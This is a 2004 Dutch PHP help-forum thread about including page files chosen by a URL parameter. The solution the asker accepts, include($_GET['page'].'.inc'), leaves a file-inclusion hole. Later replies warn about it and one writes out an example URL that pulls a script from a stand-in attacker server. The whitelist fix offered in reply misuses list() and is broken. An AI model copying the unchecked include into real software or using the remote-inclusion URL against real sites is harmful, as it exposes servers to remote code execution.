[php]includen lukt niet

Pagina: 1
Acties:

Onderwerpen


Acties:
  • 0 Henk 'm!

  • KoBolD54
  • Registratie: Maart 2002
  • Laatst online: 18:52
Ik heb al een tijdje rond gekeken hier op tweakers verschillende boeken geraadpleegt maar het lukt me niet om het werkende te krijgen. Zelfs niet als ik het exact overneem van het boek.

Alle bestanden zijn aanwezig.

PHP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<html>
<head>
<title>test pagina</title>
<style type="text/css">
body {font: Verdana, Arial, Helvetica, sans-serif; font-size: 14px}</style>
</head>

<body>
<?php error_reporting(E_ALL); ?>
<table border=0 cellpadding=0 width=100%>
<tr>
<td bgcolor="#4282b4" align="center" valign="top" width="25%">
<p>
<a href="?page=fleecee"><B>Alpaca</B></a>
<Br>
<a href="?page=guanaco"><B>Guanaco</B></a>
<Br>
<a href="?page=llama"><B>Llama</B></a>
<Br><br>
</p>
</td>
<TD bgcolor="#ffffff" align="left" valign="top" width="75%">
<?php include ("$page.inc"); ?>
</TD>
</tr>
</table>
</body>
</html>

[ Voor 56% gewijzigd door KoBolD54 op 12-05-2004 21:52 ]


Acties:
  • 0 Henk 'm!

Verwijderd

Bedoel je niet:

code:
1
<?php include('page.inc') ?>

[ Voor 19% gewijzigd door Verwijderd op 12-05-2004 21:52 ]


Acties:
  • 0 Henk 'm!

Verwijderd

Nog een andere tip, hernoem je bestanden naar *.inc.php
Zo voorkom je dat men je code kan inzien.

Acties:
  • 0 Henk 'm!

  • KoBolD54
  • Registratie: Maart 2002
  • Laatst online: 18:52
nee hij moet dus de naam achter ?page weghalen die ipv $page neer zetten zodat het bijvoorbeeld:

PHP:
1
<?php include('llama.inc'); ?>

word

[ Voor 12% gewijzigd door KoBolD54 op 12-05-2004 21:54 ]


Acties:
  • 0 Henk 'm!

  • DR
  • Registratie: December 2000
  • Niet online

DR

http://nl.php.net/variables.predefined

In PHP 4.2.0 and later, the default value for the PHP directive register_globals is off. This is a major change in PHP. Having register_globals off affects the set of predefined variables available in the global scope. For example, to get DOCUMENT_ROOT you'll use $_SERVER['DOCUMENT_ROOT'] instead of $DOCUMENT_ROOT, or $_GET['id'] from the URL http://www.example.com/test.php?id=3 instead of $id, or $_ENV['HOME'] instead of $HOME.

[ Voor 86% gewijzigd door DR op 12-05-2004 21:57 ]


Acties:
  • 0 Henk 'm!

Verwijderd

Met onderstaande code moet het wel lukken

PHP:
1
<?php include ($_GET['page'].".inc"); ?> 


jouw.url.nl/pagina?page=llama

zal dan resulteren in het includen van de juiste pagina "llama.inc".

Acties:
  • 0 Henk 'm!

  • KoBolD54
  • Registratie: Maart 2002
  • Laatst online: 18:52
het werkt SUPER bedankt!!!!

Acties:
  • 0 Henk 'm!

  • Radiant
  • Registratie: Juli 2003
  • Niet online

Radiant

Certified MS Bob Administrator

Ik hoop wel dat je inziet dat zo includen nou niet echt safe is ;)

Acties:
  • 0 Henk 'm!

Verwijderd

Inderdaad...let erop dat mensen geen bestanden kunnen includen die mogelijkerwijs belangrijke informatie weggeven, of buiten je eigen server staan.

Acties:
  • 0 Henk 'm!

  • NMe
  • Registratie: Februari 2004
  • Laatst online: 09-09 13:58

NMe

Quia Ego Sic Dico.

offtopic:
Wat doet <?php error_reporting(E_ALL); ?> daar eigenlijk op regel 9? Tis een stuk overzichtelijker als je dat soort dingen bovenaan zet. Dan kun je niet per ongeluk wat erboven zetten in de waan dat error reporting alle errors en warnings teruggeeft, terwijl die error_reporting dus pas veel later wordt aangeroepen.


En zoals Radiant16 al zei is het niet echt veilig om zonder checks meteen zo'n bestand te openen. Wat nou als iemand een url invult die niet vanaf je pagina beschikbaar moet zijn?

Het is heel simpel op te lossen:

PHP:
1
2
3
4
5
6
7
$pages = list("llama", "emoe", "ezel", "paard");
if (in_array($_GET["page"], $pages)) {
  //doe wat je wil doen
}
else {
  //een foute var in de url, geef een foutmelding
}


Je zet dus alle waardes die $_GET["page"] mag hebben in een array, en vergelijkt $_GET["page"] met die array met de functie in_array.

[ Voor 21% gewijzigd door NMe op 12-05-2004 23:52 ]

'E's fighting in there!' he stuttered, grabbing the captain's arm.
'All by himself?' said the captain.
'No, with everyone!' shouted Nobby, hopping from one foot to the other.


Acties:
  • 0 Henk 'm!

  • seweso
  • Registratie: Augustus 2003
  • Laatst online: 04-04-2018

seweso

de mouw is uit de aap

als je hem niet beveiligd kan iemand het volgende doen: jouw.url.nl/pagina?page=http://mijnfouteserver.nl/gevaarlijkephppagina

seweso's blog

Pagina: 1